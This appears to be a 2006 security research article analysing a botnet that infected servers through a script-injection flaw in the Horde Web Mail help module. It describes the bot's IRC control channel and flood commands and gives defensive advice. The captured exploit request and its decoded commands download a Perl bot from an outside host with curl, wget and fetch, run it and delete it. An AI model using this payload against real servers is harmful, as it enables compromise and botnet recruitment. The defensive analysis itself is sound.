Botnet Attack and Analysis

- **URL:** [http://www.secureworks.net/research/threats/botnet](http://www.secureworks.net/research/threats/botnet)
- **Date:** November 1, 2006
- **Author:** Tynan Wilke

**Summary**

Botnets are nothing new to the Internet. Most Internet users have become all too familiar with the near-constant barrage of attacks from all across the world in an attempt to leverage our systems.

Botnet herders are in a constant search for new hosts, using any means necessary to add one more vulnerable server to the swarm, with motives ranging from childish revenge to high-level extortion schemes. Through our analysis, I will show how we were able to log an attack as it occurred and also mimic the probable execution of a successful attack in order to learn more about a particular botnet. What separates the following attack from various others is the successfully leverage of Google as an enumeration tool to search for vulnerable hosts.

**Active Exploitation**

In order for a host to become part of a botnet, it first needs to be compromised. The attack we witnessed used a known script-injection vulnerability in the Horde Web Mail Help Module that was released on April 5th, 2006.

The HTTP GET request sent to exploit this host resembled:

```
GET/horde/services/help/?show=about&module=%22.passthru(%22%)cd%20%22.chr(47).%22tmp;curl%20-O%20x.txt%20http:%22.chr(47).%22www.kildarefamily.com%22.chr(47).%22h;wget%20http:%22.chr(47).%22%22.chr(47).%22www.kildarefamily.com%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22www.kildarefamily.com%22.chr(47).%22h;perl%20h;rm%20-rf%20h%22);'. HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 10.99.99.1
Connection: Close
```

By cleaning up this request, we can see that the injected character translations perform the following commands:

1. cd /tmp;
2. curl -O x.txt http://www.kildarefamily.com/h;
3. wget http://www.kildarefamily.com/h;
4. fetch http://www.kildarefamily.com/h;
5. perl h;
6. rm -rf h;

There are three attempts to download a Perl script using command-line utilities before running the script and removing it from disk. The script forks itself into the background where it will run in memory until the machine is rebooted. The script was sophisticated enough to setup signal handlers to disregard all signals that could be sent to kill the process.

**Command and Control**

Since the downloaded Perl script was in plain text with no obfuscation, it was quite easy to determine the purpose and function of the code.

Immediately after execution, the script would connect out to an IRC server and then join a specified channel where it would idle while waiting for commands. Each of these connection properties (IRC server address, port, and channel) were hard coded into the script.

Delving deeper into the code, the following commands were listed as available to the botnet herders:

- `portscan <host>` - Scan for commonly open ports on a host
- `google <time> <boturl>` - Search Google for more vulnerable hosts and propagate!
- `tcpflood <host> <time>` - Flood a host with TCP connection attempts
- `httpflood <host> <time>` - Flood a host with HTTP connections
- `udpflood <host> <time>` - Flood a host with UDP Datagrams
- `Direct Command-line Access`

By far, the most interesting command in this group is the "google" command. When executed, it will search Google using "Google Dorks", a query that reveals mis-configured servers, to find vulnerable hosts indexed through the search engine. The script will directly query Google's search page and then parse the returned data for valid URLs.

Then, a character-obfuscated script injection attack string is appended to these URLs and finally queried from the bot with the hope of infecting another host using the same method in which it was infected. Strange as it seems, the vulnerabilities that the script searches for are phpBB related, and not the same Horde Web Mail scripts that attacked this host, yet the attack methodologies are very similar.
It is not often that a botnet's command-and-control script is readily available to the observant security analyst. I was amazed that a botnet's IRC address, port, and channel would be so easily accessible to anybody keeping a watchful eye on their network. After obtaining the command-and-control information from the script, sure enough, I was able to connect to this IRC server, join the common Bot channel, and even speak with one of the botnet herders that was idling at the time. Our conversation was very brief since, I imagine, he was not very fond of visitors, especially one asking so many questions. After being kicked from the server twice, he stated that he was happy my web server was not compromised and warned me that they were developing new attacks all the time; shortly thereafter, I was permanently banned from the server. I noted a maximum of fifty seven infected hosts that were continuously joining and parting from the channel with a constant increase in bots over the time I had access.

**Solution**

There are multiple proactive ways to avert this type of attack. It is always recommended to keep an inventory of web applications running on your web servers, complete with version and patching histories in order to quickly assess if an application is vulnerable to attack. The attack against Horde Web Mail could have easily been averted by applying a patch that was released shortly after the exploit was made public. Also, by only providing the minimal amount of tools to host the web service, the chances of an attacker abusing the capabilities of the server are greatly reduced, as seen with the unauthorized use of curl, fetch, and wget to retrieve the botnet code. Finally, the Bleeding Edge Threats Team have created the "WEB Horde Web Mail Help Access" Snort rule in order to detect and alert on attempts to exploit this service.

It is apparent that this Perl-bot script is a variant of older, outdated vulnerability scanners, which leads us to believe that these botnet herders can still teach an old script new tricks.

[Similar script exploiting phpBB](http://www.secureworks.com/research/threats/botnet/)
[SANS analysis of phpBB Perlbot script](http://www.secureworks.com/research/threats/botnet/)